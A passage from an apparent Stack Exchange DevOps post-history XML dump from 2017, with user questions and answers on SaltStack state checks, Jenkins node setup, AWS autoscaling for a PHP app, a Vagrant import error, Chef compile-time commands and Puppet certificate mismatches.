name: /opt/tomcat/webapps/website4/statics/images/logo.png&#xD;&#xA;    &#xD;&#xA;    website4-notfound.gif:&#xD;&#xA;      file.exists:&#xD;&#xA;        - name: /opt/tomcat/webapps/website4/statics/images/notfound.gif&#xD;&#xA;    &#xD;&#xA;    website4-sessionKeepAlive.png:&#xD;&#xA;      file.exists:&#xD;&#xA;        - name: /opt/tomcat/webapps/website4/images/sessionKeepAliveImage.png&#xD;&#xA;    &#xD;&#xA;    website4-site.properties:&#xD;&#xA;      file.exists:&#xD;&#xA;        - name: /opt/jhc/ajb-1/config/site.properties&#xD;&#xA;    &#xD;&#xA;    website4.properties:&#xD;&#xA;      file.exists:&#xD;&#xA;        - name: /opt/jhc/ajb-1/config/ajb-1.properties&#xD;&#xA;    &#xD;&#xA;    website4-common-site.properties:&#xD;&#xA;      file.exists:&#xD;&#xA;        - name: /opt/jhc/ajb-1/config/common-site.properties&#xD;&#xA;    &#xD;&#xA;    website4-environment.properties:&#xD;&#xA;      file.exists:&#xD;&#xA;        - name: /opt/jhc/ajb-1/config/environment.properties&#xD;&#xA;    &#xD;&#xA;    website4-Admin.properties:&#xD;&#xA;      file.exists:&#xD;&#xA;       - name: /opt/jhc/ajb-1/config/Admin.properties&#xD;&#xA;    &#xD;&#xA;    website4-log4j-Client.properties:&#xD;&#xA;      file.exists:&#xD;&#xA;        - name: /opt/jhc/ajb-1/config/log4j-Client.properties&#xD;&#xA;    &#xD;&#xA;    website4-log4j-Admin.properties:&#xD;&#xA;      file.exists:&#xD;&#xA;        - name: /opt/jhc/ajb-1/config/log4j-Admin.properties&#xD;&#xA;    &#xD;&#xA;    website4-ehcache.xml:&#xD;&#xA;      file.exists:&#xD;&#xA;        - name: /opt/jhc/ajb-1/config/ehcache.xml&#xD;&#xA;    &#xD;&#xA;    website4-website3.properties:&#xD;&#xA;      file.exists:&#xD;&#xA;        - name: /opt/jhc/ajb-1/config/ajb-1.properties&#xD;&#xA;    &#xD;&#xA;    {% endif %}&#xD;&#xA;    &#xD;&#xA;    ##################################################################################################################### THIS SECTION CHECKS THAT SERVICES ARE RUNNING ON EACH TOMCAT SERVER&#xD;&#xA;    ####################################################################################################################&#xD;&#xA;    &#xD;&#xA;    {% if grains['host'] in ['BCA-AJT-TC-04', 'BCA-AJU-TC-04', 'BCA-AJT-TC-07', 'BCA-AJU-TC-07'] %}&#xD;&#xA;    &#xD;&#xA;    httpd:&#xD;&#xA;      service.running:&#xD;&#xA;        - name: httpd&#xD;&#xA;        - enable: True&#xD;&#xA;    &#xD;&#xA;    httpd.conf:&#xD;&#xA;      file.exists:&#xD;&#xA;        - name: /etc/httpd/conf/httpd.conf&#xD;&#xA;    &#xD;&#xA;    php.conf:&#xD;&#xA;      file.exists:&#xD;&#xA;        - name: /etc/httpd/conf.d/php.conf&#xD;&#xA;    &#xD;&#xA;    {% endif %}&#xD;&#xA;    &#xD;&#xA;    rsyslog:&#xD;&#xA;      service.running:&#xD;&#xA;        - name: rsyslog&#xD;&#xA;        - enable: True&#xD;&#xA;    &#xD;&#xA;    salt-minion:&#xD;&#xA;      service.running:&#xD;&#xA;        - name: salt-minion&#xD;&#xA;        - enable: True&#xD;&#xA;    &#xD;&#xA;    sshd:&#xD;&#xA;      service.running:&#xD;&#xA;        - name: sshd&#xD;&#xA;        - enable: True&#xD;&#xA;    &#xD;&#xA;    ntpd:&#xD;&#xA;      service.running:&#xD;&#xA;        - name: ntpd&#xD;&#xA;        - enable: True&#xD;&#xA;    &#xD;&#xA;    check_jets:&#xD;&#xA;      cmd.run:&#xD;&#xA;        - name: ps aux | grep 'org.apache.catalina.startup.Bootstrap start' | grep -v grep&#xD;&#xA;	&#xD;&#xA;It may also be worth mentioning that I have used the above method in multiple areas across my state for the same purpose, yet targeting dev/test-server-01, 02, 03 etc without problems. It's specifically a problem with this section of code as other sections which target TEST-SERVER-04 in the state work fine (as I mentioned it runs 32/50)" ContentLicense="CC BY-SA 3.0" />
  <row Id="6650" PostHistoryTypeId="2" PostId="2120" RevisionGUID="54cd543e-5de5-418a-92c6-319503b74dc1" CreationDate="2017-09-22T11:03:37.640" UserId="4469" Text="I am not able to comment here as it requires 50 reputations to comment. &#xD;&#xA;&#xD;&#xA;Thank you for your answers, I did not realize that this post has been migrated to devops forum. &#xD;&#xA;&#xD;&#xA;I had reposted this question in stackoverflow. https://stackoverflow.com/questions/46339167/jenkins-installed-on-aws-unable-to-launch-on-browser&#xD;&#xA;&#xD;&#xA;The answer in comment &quot;open the port 8080 in Ec2 security groups&quot; resolved the issue for me.&#xD;&#xA;Thanks" ContentLicense="CC BY-SA 3.0" />
  <row Id="6651" PostHistoryTypeId="2" PostId="2121" RevisionGUID="1110232e-b448-467d-8210-9b6ab8e85e61" CreationDate="2017-09-22T11:34:57.693" UserId="3055" Text="I have found the answer to my own question after some more investigation.&#xD;&#xA;&#xD;&#xA;The reason the state was skipping the contents of my if statement was because the hostname of the server was in lower-case (god knows why). Therefore the in-built salt grains.item host which is called upon didn't recognise the server I was specifying.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="6652" PostHistoryTypeId="5" PostId="2098" RevisionGUID="15793661-7980-452b-97e2-2a85e7d63fb0" CreationDate="2017-09-22T12:00:20.417" UserId="4436" Comment="added 329 characters in body" Text="Currently all of our PHP (Laravel) applications are running on one EC2 instance. To deploy code, we SSH onto the live box and pull from CodeCommit.&#xD;&#xA;&#xD;&#xA;We now need to scale and deploy properly.&#xD;&#xA;I'm not sure where to start.&#xD;&#xA;&#xD;&#xA;Most examples seem to use Elastic Beanstalk but I have been advised that this could be too restrictive.&#xD;&#xA;&#xD;&#xA;I guess we want to end up with a load balancer and application servers which are created on demand. &#xD;&#xA;&#xD;&#xA;Can anyone point me in the right direction? (I am a bit overwhelmed by all the AWS documentation.)&#xD;&#xA;&#xD;&#xA;**Ok, this is the plan:**&#xD;&#xA;&#xD;&#xA;I have signed up for A Cloud Guru and I'm going to work through some of the videos on there.&#xD;&#xA;&#xD;&#xA;I'm going to sign up for a AWS Free Tier account and start tinkering.&#xD;&#xA;&#xD;&#xA;I'm considering the *AWS Certified Solutions Architect - Associate*  course, this looks like a great way to develop myself.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="6653" PostHistoryTypeId="5" PostId="2105" RevisionGUID="3671b25e-6355-44b6-84b1-07c18ed392ec" CreationDate="2017-09-22T13:28:29.373" UserId="47" Comment="improved readability" Text="In **my team** we have one Jenkins server with **one master node &amp; one slave node** in the same server. We use Jenkins Pipelines and surround everything with node{}. &#xD;&#xA;&#xD;&#xA;In a **colleague's team** I have seen that, for some reason, they have **one master node and no slave node**. All their builds run in master node.&#xD;&#xA;&#xD;&#xA;Questions:&#xD;&#xA;&#xD;&#xA;* Is this a bad practice?&#xD;&#xA;* Are there any bad consequences for having only one master node?&#xD;&#xA;* Is my setup (one  master &amp; one slave) a bad practice?&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="6654" PostHistoryTypeId="4" PostId="2119" RevisionGUID="dd4b41c8-c704-4093-8107-b744ebc504b3" CreationDate="2017-09-22T13:31:13.673" UserId="4465" Comment="Changed title" Text="Building a Docker container using Gitlab CI Docker runner" ContentLicense="CC BY-SA 3.0" />
  <row Id="6655" PostHistoryTypeId="12" PostId="2120" RevisionGUID="b12ff3d1-0c97-4e93-bda3-9d51bf956e9d" CreationDate="2017-09-22T13:41:24.657" UserId="13" Comment="via Vote" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:13,&quot;DisplayName&quot;:&quot;Tensibai&quot;}]}" />
  <row Id="6656" PostHistoryTypeId="5" PostId="2120" RevisionGUID="82c2fced-553a-4cd8-8857-e1105eda406f" CreationDate="2017-09-22T13:42:42.343" UserId="13" Comment="deleted 184 characters in body" Text="I had reposted this question in stackoverflow. https://stackoverflow.com/questions/46339167/jenkins-installed-on-aws-unable-to-launch-on-browser&#xD;&#xA;&#xD;&#xA;The answer in comment &quot;open the port 8080 in Ec2 security groups&quot; resolved the issue for me." ContentLicense="CC BY-SA 3.0" />
  <row Id="6657" PostHistoryTypeId="13" PostId="2120" RevisionGUID="82f8eecd-d83b-466d-9569-e0fd74b82148" CreationDate="2017-09-22T13:42:47.190" UserId="13" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:13,&quot;DisplayName&quot;:&quot;Tensibai&quot;}]}" />
  <row Id="6658" PostHistoryTypeId="5" PostId="2113" RevisionGUID="e09eb9e5-5782-42f3-8ff0-465396ba7731" CreationDate="2017-09-22T16:36:18.187" UserId="4115" Comment="grammar (s/both don't/neither do/)" Text="There are some situations where running jobs on the master node is fine, but you do have to be careful.  Like the other answer mentioned, generally speaking running jobs on the master is bad practice since the jobs aren't sandboxed on the master node.&#xD;&#xA;&#xD;&#xA;That being said, sometimes you do want to run jobs on the master node.  For instance, two of the jobs on my Jenkins installation are:&#xD;&#xA;&#xD;&#xA;* find jobs whose dependencies have been updated and schedule builds for them against the new versions of the dependencies&#xD;&#xA;* find open pull requests that haven't been built yet and schedule builds for them&#xD;&#xA;&#xD;&#xA;I (as the Jenkins admin) am in total control of these jobs, neither of these particular jobs touch any files on disk (they're essentially &quot;meta&quot; jobs), I want them to be able to run even when all the executor slots on my slaves are busy, and I would prefer these jobs don't block more important jobs in the queue.  For these reasons, I allow these two jobs - and **only** these two jobs - to run on the master node." ContentLicense="CC BY-SA 3.0" />
  <row Id="6659" PostHistoryTypeId="4" PostId="6" RevisionGUID="acb4e111-981a-4471-a06b-4e77691ddd8a" CreationDate="2017-09-22T16:41:12.297" UserId="14" Comment="Correct pluralisation" Text="What are benefits of using third party app metrics tools versus custom build tools?" ContentLicense="CC BY-SA 3.0" />
  <row Id="6660" PostHistoryTypeId="2" PostId="2122" RevisionGUID="15ac9ca0-5451-4d33-a6da-575b8f95a4aa" CreationDate="2017-09-22T19:03:00.073" UserId="4474" Text="I'm Provisioning Vagrant Box with Virtual-box on Fedora 26. &#xD;&#xA;&#xD;&#xA;    $ vagrant -v&#xD;&#xA;    Vagrant 1.9.1&#xD;&#xA;    $ virtualbox -v&#xD;&#xA;    virtualbox 5.1&#xD;&#xA;&#xD;&#xA;Below is the error;&#xD;&#xA;&#xD;&#xA;    muhammadtaqi@localhost etc]$ vagrant up&#xD;&#xA;    Bringing machine 'default' up with 'virtualbox' provider...&#xD;&#xA;    ==&gt; default: Importing base box 'ubuntu/trusty64'...&#xD;&#xA;    There was an error while executing `VBoxManage`, a CLI used by Vagrant&#xD;&#xA;    for controlling VirtualBox. The command and stderr is shown below.&#xD;&#xA;    &#xD;&#xA;    Command: [&quot;import&quot;, &quot;/home/muhammadtaqi/.vagrant.d/boxes/ubuntu-VAGRANTSLASH-trusty64/20170918.0.1/virtualbox/box.ovf&quot;, &quot;--vsys&quot;, &quot;0&quot;, &quot;--vmname&quot;, &quot;ubuntu-cloudimg-trusty-vagrant-amd64_1506105327930_50139&quot;, &quot;--vsys&quot;, &quot;0&quot;, &quot;--unit&quot;, &quot;6&quot;, &quot;--disk&quot;, &quot;/home/muhammadtaqi/VirtualBox VMs/ubuntu-cloudimg-trusty-vagrant-amd64_1506105327930_50139/box-disk1.vmdk&quot;]&#xD;&#xA;    &#xD;&#xA;    Stderr: 0%...10%...20%...30%...40%...50%...60%...70%...80%...90%...100%&#xD;&#xA;    Interpreting /home/muhammadtaqi/.vagrant.d/boxes/ubuntu-VAGRANTSLASH-trusty64/20170918.0.1/virtualbox/box.ovf...&#xD;&#xA;    OK.&#xD;&#xA;    0%...&#xD;&#xA;    Progress state: VBOX_E_FILE_ERROR&#xD;&#xA;    VBoxManage: error: Appliance import failed&#xD;&#xA;    VBoxManage: error: Could not create the imported medium '/home/muhammadtaqi/VirtualBox VMs/ubuntu-cloudimg-trusty-vagrant-amd64_1506105327930_50139/box-disk1.vmdk'.&#xD;&#xA;    VBoxManage: error: VMDK: Compressed image is corrupted '/home/muhammadtaqi/.vagrant.d/boxes/ubuntu-VAGRANTSLASH-trusty64/20170918.0.1/virtualbox/box-disk1.vmdk' (VERR_ZIP_CORRUPTED)&#xD;&#xA;    VBoxManage: error: Details: code VBOX_E_FILE_ERROR (0x80bb0004), component ApplianceWrap, interface IAppliance&#xD;&#xA;    VBoxManage: error: Context: &quot;RTEXITCODE handleImportAppliance(HandlerArg*)&quot; at line 886 of file VBoxManageAppliance.cpp&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="6661" PostHistoryTypeId="1" PostId="2122" RevisionGUID="15ac9ca0-5451-4d33-a6da-575b8f95a4aa" CreationDate="2017-09-22T19:03:00.073" UserId="4474" Text="Error Vagrant Provisioning with Virtual Box on Fedora" ContentLicense="CC BY-SA 3.0" />
  <row Id="6662" PostHistoryTypeId="3" PostId="2122" RevisionGUID="15ac9ca0-5451-4d33-a6da-575b8f95a4aa" CreationDate="2017-09-22T19:03:00.073" UserId="4474" Text="&lt;ansible&gt;&lt;vagrant&gt;&lt;virtualization&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="6663" PostHistoryTypeId="4" PostId="2105" RevisionGUID="8f20e4f0-720e-4ebd-8e2f-f9bdc3dcd2b5" CreationDate="2017-09-22T19:25:43.570" UserId="3767" Comment="copyedit (edit summary must be at least 10 characters)" Text="Is it ok to have a Jenkins Server without slave node?" ContentLicense="CC BY-SA 3.0" />
  <row Id="6664" PostHistoryTypeId="24" PostId="2105" RevisionGUID="8f20e4f0-720e-4ebd-8e2f-f9bdc3dcd2b5" CreationDate="2017-09-22T19:25:43.570" Comment="Proposed by 3767 approved by -1 edit id of 448" ContentLicense="CC BY-SA 3.0" />
  <row Id="6665" PostHistoryTypeId="5" PostId="2105" RevisionGUID="de1f8d91-4ccd-4ebd-8185-00fc0efa6f95" CreationDate="2017-09-22T19:25:43.570" UserId="40" Comment="added 2 characters in body" Text="In **my team** we have one Jenkins server with **one master node &amp; one slave node** in the same server. We use Jenkins Pipelines and surround everything with `node{}`. &#xD;&#xA;&#xD;&#xA;In a **colleague's team** I have seen that, for some reason, they have **one master node and no slave node**. All their builds run in master node.&#xD;&#xA;&#xD;&#xA;Questions:&#xD;&#xA;&#xD;&#xA;* Is this a bad practice?&#xD;&#xA;* Are there any bad consequences for having only one master node?&#xD;&#xA;* Is my setup (one  master &amp; one slave) a bad practice?&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="6666" PostHistoryTypeId="2" PostId="2123" RevisionGUID="49ad2974-d71c-4e28-8983-bffaf89888ae" CreationDate="2017-09-22T22:44:34.093" UserId="210" Text="Try to start with a clean sheet by removing the .vagrant.d folder or start to remove the corrupted zip. When the file or folder has been removed, one could run `vagrant up` again and check whether it works." ContentLicense="CC BY-SA 3.0" />
  <row Id="6667" PostHistoryTypeId="2" PostId="2124" RevisionGUID="6d7232ef-aeb7-455e-b43e-8a2a20adb9f6" CreationDate="2017-09-23T02:18:22.053" UserId="445" Text="&gt; Currently all of our PHP (Laravel) applications are running on one EC2 instance. To deploy code, we SSH onto the live box and pull from CodeCommit.&#xD;&#xA;&#xD;&#xA;The first thing you need to decide on is a Continuous Deploy strategy. There's a lot of servers out there with different use cases, you don't have to pick the most popular, just pick the one that fits your use case.&#xD;&#xA;&#xD;&#xA;&gt; I guess we want to end up with a load balancer and application servers which are created on demand.&#xD;&#xA;&#xD;&#xA;AWS has some great reference architectures but overall I would say start simple. At a base level you'll be using Route 53, Certificate Manager, ALB (ELBv2), and EC2. I would get used to the options you have with each of these and play with them. AWS CSA will not teach you about reference architecture, rather it will go over what each product is used for.&#xD;&#xA;&#xD;&#xA;Before you go building anything for production I would also recommend using an infrastructure deployment tool. AWS provides CloudFormation out of the box but that can be difficult to interface with. Some others are Sceptre and Terraform. These allow you to store your infrastructure as code in a repository and deploy updates via a CD server.&#xD;&#xA;&#xD;&#xA;**Note on &quot;Created on Demand&quot;**&#xD;&#xA;&#xD;&#xA;Please keep in mind that many people come to the cloud thinking that &quot;scaling&quot; is instantaneous. It's not. Depending on your provisioning it can take some time. You will not scale yourself out of burst traffic. Your traffic will need to be profiled, you will need to determine your instance capacity (for web servers I measure instances in requests per second with a load testing tool), and plan accordingly.&#xD;&#xA;&#xD;&#xA;Scaling is primarily designed for a gradual rise in traffic over time, such as if your website traffic grows gradually larger around noon (peak) and then settles late in the day." ContentLicense="CC BY-SA 3.0" />
  <row Id="6668" PostHistoryTypeId="5" PostId="2124" RevisionGUID="0e835510-7bd3-4bb7-a8ea-be91c60752b9" CreationDate="2017-09-23T02:36:55.837" UserId="445" Comment="Added CI explanation." Text="&gt; Currently all of our PHP (Laravel) applications are running on one EC2 instance. To deploy code, we SSH onto the live box and pull from CodeCommit.&#xD;&#xA;&#xD;&#xA;The first thing you need to decide on is a Continuous Deploy strategy. There's a lot of servers out there with different use cases, you don't have to pick the most popular, just pick the one that fits your use case.&#xD;&#xA;&#xD;&#xA;&gt; I guess we want to end up with a load balancer and application servers which are created on demand.&#xD;&#xA;&#xD;&#xA;AWS has some great reference architectures but overall I would say start simple. At a base level you'll be using Route 53, Certificate Manager, ALB (ELBv2), VPC, and EC2. I would get used to the options you have with each of these and play with them. AWS CSA will not teach you about reference architecture, rather it will go over what each product is used for.&#xD;&#xA;&#xD;&#xA;Before you go building anything for production I would also recommend using an infrastructure deployment tool. AWS provides CloudFormation out of the box but that can be difficult to interface with. Some others are Sceptre and Terraform. These allow you to store your infrastructure as code in a repository and deploy updates via a CD server.&#xD;&#xA;&#xD;&#xA;Also keep in mind if you don't have Continuous Integration then you'll need to work on that, followed by Continuous Delivery, then by Continuous Deployment. Each of these is a critical step in the right direction.&#xD;&#xA;&#xD;&#xA;**Note on &quot;Created on Demand&quot;**&#xD;&#xA;&#xD;&#xA;Please keep in mind that many people come to the cloud thinking that &quot;scaling&quot; is instantaneous. It's not. Depending on your provisioning it can take some time. You will not scale yourself out of burst traffic. Your traffic will need to be profiled, you will need to determine your instance capacity (for web servers I measure instances in requests per second with a load testing tool), and plan accordingly.&#xD;&#xA;&#xD;&#xA;Scaling is primarily designed for a gradual rise in traffic over time, such as if your website traffic grows gradually larger around noon (peak) and then settles late in the day." ContentLicense="CC BY-SA 3.0" />
  <row Id="6669" PostHistoryTypeId="2" PostId="2125" RevisionGUID="c61874c5-2c74-4ff8-aa61-a43c4a1b9eda" CreationDate="2017-09-23T03:14:13.650" UserId="4369" Text="If nothing exists to easily mock Consul, have you considered spinning up a Consul service along with your other microservices? Consul can run in Docker, so this should be fairly straightforward if you use docker-compose and your apps can be configured to point to a different Consul endpoint.&#xD;&#xA;&#xD;&#xA;Once your docker-compose is configured to spin up all the infrastructure/microservices required for your test, you will be able to use whatever tools you're familiar with to test your microservices, e.g. Selenium." ContentLicense="CC BY-SA 3.0" />
  <row Id="6670" PostHistoryTypeId="34" PostId="1981" RevisionGUID="f599e705-b171-4e7b-bc8f-ff68b9fb3a9d" CreationDate="2017-09-23T15:39:32.380" UserId="-1" Comment="8" />
  <row Id="6671" PostHistoryTypeId="50" PostId="1233" RevisionGUID="f693ba50-c0af-4c59-8ece-bacf54f6cc99" CreationDate="2017-09-23T15:39:32.380" UserId="-1" />
  <row Id="6672" PostHistoryTypeId="2" PostId="2126" RevisionGUID="fc8d315f-7bea-4b74-b17d-fb3b8359c706" CreationDate="2017-09-24T03:16:40.590" UserId="30" Text="Here's a rough approach to scaling any stateless app AWS:&#xD;&#xA;&#xD;&#xA;1. Run the app in an [Auto Scaling Group (ASG)](http://docs.aws.amazon.com/autoscaling/latest/userguide/AutoScalingGroup.html). An ASG makes it easy to manage multiple servers, will automatically replace failed servers, and allows you to automatically scale the number of servers up or down in response to load.&#xD;&#xA;&#xD;&#xA;1. To run an ASG, you need to create a [Launch Configuration](http://docs.aws.amazon.com/autoscaling/latest/userguide/LaunchConfiguration.html). This is a &quot;template&quot; that specifies the configuration for each server in the ASG: i.e., what type of instance to run (e.g. `t2.micro`), what AMI to run on the instance, the security group settings, etc.&#xD;&#xA;&#xD;&#xA;1. The [AMI](http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/AMIs.html) you run on each instance in the ASG should have your app already installed (i.e., your PHP app). You can define your AMI as code using a tool like [Packer](https://www.packer.io/). &#xD;&#xA;&#xD;&#xA;1. The app in your AMI should be configured to run on boot using a process supervisor (e.g., using [systemd](https://www.freedesktop.org/wiki/Software/systemd/) or [supervisord](http://supervisord.org/); this will also ensure the app is restarted automatically if it crashes. &#xD;&#xA;&#xD;&#xA;1. Every time you change something in your app, run a build process to create a new AMI, update the Launch Configuration to use this new AMI, and roll that AMI out across your ASG. For example, you could do a zero-downtime deployment by (somewhat similar to a [blue-green deployment](https://martinfowler.com/bliki/BlueGreenDeployment.html)) by doubling the size of the ASG, waiting until all the new servers (from the updated Launch Configuration) launch and pass health checks, and then reducing the ASG back to its previous size (the ASG will terminate oldest instances by default). &#xD;&#xA;&#xD;&#xA;1. With an ASG, you have more than one server, but you want to give your users a single endpoint to use. The typical solution to this is to deploy a load balancer in front of the ASG. If you're building a typical HTTP/HTTPs app (e.g., just about all PHP apps), you'll want to use the [Application Load Balancer (ALB)](http://docs.aws.amazon.com/elasticloadbalancing/latest/application/introduction.html); if you're building an app that listens directly for TCP connections, you'll want the [Load Balancer Classic](http://docs.aws.amazon.com/elasticloadbalancing/latest/classic/introduction.html) or [Network Load Balancer](http://docs.aws.amazon.com/elasticloadbalancing/latest/network/introduction.html). Whichever load balancer you pick, AWS will create a domain name for it that you can use, and any requests you send to that domain name will be routed in round-robin fashion to different servers in your ASG. &#xD;&#xA;&#xD;&#xA;1. You should a) configure the load balancer to perform health checks on your app so that it only routes to healthy servers and b) configure your ASG to register all of its servers in the load balancer automatically and to use the load balancer for health checks.&#xD;&#xA;&#xD;&#xA;1. You can create [Auto Scaling Policies](http://docs.aws.amazon.com/autoscaling/latest/userguide/WhatIsAutoScaling.html) for the ALB that change the number of servers in your ASG depending on various CloudWatch metrics. For example, you could configure the ASG to add servers when average CPU usage is over 80% and to remove servers when CPU usage drops below 60%.&#xD;&#xA;&#xD;&#xA;For more info, check out [A Comprehensive Guide to Building a Scalable Web App on Amazon Web Services](https://www.airpair.com/aws/posts/building-a-scalable-web-app-on-amazon-web-services-p1)." ContentLicense="CC BY-SA 3.0" />
  <row Id="6673" PostHistoryTypeId="2" PostId="2127" RevisionGUID="2df3ff8c-47cc-4f84-93b6-86a8149f7277" CreationDate="2017-09-24T08:33:13.497" UserId="786" Text="Let us say I have some Chef code like:&#xD;&#xA;&#xD;&#xA;    require 'mixlib/shellout'&#xD;&#xA;    yum_package 'somepackage'&#xD;&#xA;    myvar =  Mixlib::ShellOut.new('/bin/somecommand').run_command.stdout.strip&#xD;&#xA;&#xD;&#xA;Where `/bin/somecommand` does not exist yet because it is installed by `somepackage`. This will fail at recipe compile time for that reason, but will obviously work at convergence time providing the package installs successfully (and if it doesn't then obviously the recipe has failed anyway). This also fails if the package is installed be a previous recipe in the runlist since they are all compiled together upfront. How do I include things in a Chef recipe that that recipe or runlist installs itself?" ContentLicense="CC BY-SA 3.0" />
  <row Id="6674" PostHistoryTypeId="1" PostId="2127" RevisionGUID="2df3ff8c-47cc-4f84-93b6-86a8149f7277" CreationDate="2017-09-24T08:33:13.497" UserId="786" Text="How to Chef things that don't exist yet" ContentLicense="CC BY-SA 3.0" />
  <row Id="6675" PostHistoryTypeId="3" PostId="2127" RevisionGUID="2df3ff8c-47cc-4f84-93b6-86a8149f7277" CreationDate="2017-09-24T08:33:13.497" UserId="786" Text="&lt;chef&gt;&lt;configuration-management&gt;&lt;infrastructure-as-code&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="6676" PostHistoryTypeId="2" PostId="2128" RevisionGUID="60f744a8-9e2b-4a98-a25b-d02da8c358ab" CreationDate="2017-09-24T09:27:04.970" UserId="1056" Text="***Puppet Master:***&#xD;&#xA;&#xD;&#xA; - Docker container with cent-OS-6 &#xD;&#xA; -  configured in /etc/hosts&#xD;&#xA; -  configured /etc/puppet/puppet.conf with **server**,**dns_alt_names** and&#xD;&#xA;   **certname**&#xD;&#xA;&#xD;&#xA;**Puppet Agent:**&#xD;&#xA; &#xD;&#xA;&#xD;&#xA; - Docker container  with ubuntu OS&#xD;&#xA; - configured serverip and agent ip in /etc/hosts&#xD;&#xA; - configure /etc/puppet/puppet.conf with **server** value &#xD;&#xA;&#xD;&#xA;**NOW trying to Generate Certificate in SERVER Machine with**&#xD;&#xA;&#xD;&#xA;    sudo -u puppet puppet master --no-daemonize --verbose&#xD;&#xA;&#xD;&#xA;Displays:*`Notice: Starting Puppet master version 3.8.7`*&#xD;&#xA;&#xD;&#xA;*Nothing happens  related to Certificate Generation.*&#xD;&#xA;&#xD;&#xA;I believe there aint any mistake in hosts file and other configuration missing. here might have things gone wrong.&#xD;&#xA;&#xD;&#xA;**In the client machine**&#xD;&#xA;If I run this command **puppet agent -t** . I get the following error. As the certificate is not generated in server. I think I have to fix that first than this .&#xD;&#xA;&#xD;&#xA;    Warning: Unable to fetch my node definition, but the agent run will continue:&#xD;&#xA;    Warning: Server hostname 'www.puppetmaster.com' did not match server certificate; expected one of puppetcertificate, DNS:puppet www.puppetmaster.com, DNS:puppetcertificate&#xD;&#xA;    Info: Retrieving pluginfacts&#xD;&#xA;    Error: /File[/var/lib/puppet/facts.d]: Failed to generate additional resources using 'eval_generate': Server hostname 'www.puppetmaster.com' did not match server certificate; expected one of puppetcertificate, DNS:puppet www.puppetmaster.com, DNS:puppetcertificate&#xD;&#xA;    Error: /File[/var/lib/puppet/facts.d]: Could not evaluate: Could not retrieve file metadata for puppet://www.puppetmaster.com/pluginfacts: Server hostname 'www.puppetmaster.com' did not match server certificate; expected one of puppetcertificate, DNS:puppet www.puppetmaster.com, DNS:puppetcertificate&#xD;&#xA;    Info: Retrieving plugin&#xD;&#xA;    Error: /File[/var/lib/puppet/lib]: Failed to generate additional resources using 'eval_generate': Server hostname 'www.puppetmaster.com' did not match server certificate; expected one of puppetcertificate, DNS:puppet www.puppetmaster.com, DNS:puppetcertificate&#xD;&#xA;    Error: /File[/var/lib/puppet/lib]: Could not evaluate: Could not retrieve file metadata for puppet://www.puppetmaster.com/plugins: Server hostname 'www.puppetmaster.com' did not match server certificate; expected one of puppetcertificate, DNS:puppet www.puppetmaster.com, DNS:puppetcertificate&#xD;&#xA;    Error: Could not retrieve catalog from remote server: Server hostname 'www.puppetmaster.com' did not match server certificate; expected one of puppetcertificate, DNS:puppet www.puppetmaster.com, DNS:puppetcertificate&#xD;&#xA;    Warning: Not using cache on failed catalog&#xD;&#xA;    Error: Could not retrieve catalog; skipping run&#xD;&#xA;    Error: Could not send report: Server hostname 'www.puppetmaster.com' did not match server certificate; expected one of puppetcertificate, DNS:puppet www.puppetmaster.com, DNS:puppetcertificate&#xD;&#xA;&#xD;&#xA; " ContentLicense="CC BY-SA 3.0" />
  <row Id="6677" PostHistoryTypeId="1" PostId="2128" RevisionGUID="60f744a8-9e2b-4a98-a25b-d02da8c358ab" CreationDate="2017-09-24T09:27:04.970" UserId="1056" Text="Puppet master certificate generation Not working" ContentLicense="CC BY-SA 3.0" />
  <row Id="6678" PostHistoryTypeId="3" PostId="2128" RevisionGUID="60f744a8-9e2b-4a98-a25b-d02da8c358ab" CreationDate="2017-09-24T09:27:04.970" UserId="1056" Text="&lt;puppet&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="6679" PostHistoryTypeId="50" PostId="1815" RevisionGUID="9f883aec-eee8-4d19-ada0-653a0f248cb8" CreationDate="2017-09-24T13:04:06.717" UserId="-1" />
  <row Id="6682" PostHistoryTypeId="2" PostId="2130" RevisionGUID="c33b19b0-c201-40c9-a58b-5de8d256a1b6" CreationDate="2017-09-24T14:37:30.173" UserId="2845" Text="First, try setting [dns_alt_names](https://docs.puppet.com/puppet/latest/configuration.html#dnsaltnames) in /etc/puppet/puppet.conf:&#xD;&#xA;&#xD;&#xA;    [main]&#xD;&#xA;        dns_alt_names = www.puppetmaster.com&#xD;&#xA;    [master]&#xD;&#xA;        autosign = true&#xD;&#xA;&#xD;&#xA;Then see if your puppet-agent -t run works properly. be sure that you have properly set your server on the puppet client in /etc/puppet/puppet.conf too:&#xD;&#xA;&#xD;&#xA;    [agent]&#xD;&#xA;        server = www.puppetmaster.com" ContentLicense="CC BY-SA 3.0" />
  <row Id="6683" PostHistoryTypeId="4" PostId="2128" RevisionGUID="2d93401b-08a8-4b3c-8128-226f8e575305" CreationDate="2017-09-24T15:07:38.867" UserId="210" Comment="edited title" Text="Puppet master certificate generation not working" ContentLicense="CC BY-SA 3.0" />
  <row Id="6684" PostHistoryTypeId="5" PostId="2126" RevisionGUID="f5b532a8-e6d0-476a-8ce5-e7123ffbe42d" CreationDate="2017-09-24T17:03:11.287" UserId="30" Comment="added 3 characters in body" Text="Here's a rough approach to scaling any stateless app on AWS:&#xD;&#xA;&#xD;&#xA;1. Run the app in an [Auto Scaling Group (ASG)](http://docs.aws.amazon.com/autoscaling/latest/userguide/AutoScalingGroup.html). An ASG makes it easy to manage multiple servers, will automatically replace failed servers, and allows you to automatically scale the number of servers up or down in response to load.&#xD;&#xA;&#xD;&#xA;1. To run an ASG, you need to create a [Launch Configuration](http://docs.aws.amazon.com/autoscaling/latest/userguide/LaunchConfiguration.html). This is a &quot;template&quot; that specifies the configuration for each server in the ASG: i.e., what type of instance to run (e.g. `t2.micro`), what AMI to run on the instance, the security group settings, etc.&#xD;&#xA;&#xD;&#xA;1. The [AMI](http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/AMIs.html) you run on each instance in the ASG should have your app already installed (i.e., your PHP app). You can define your AMI as code using a tool like 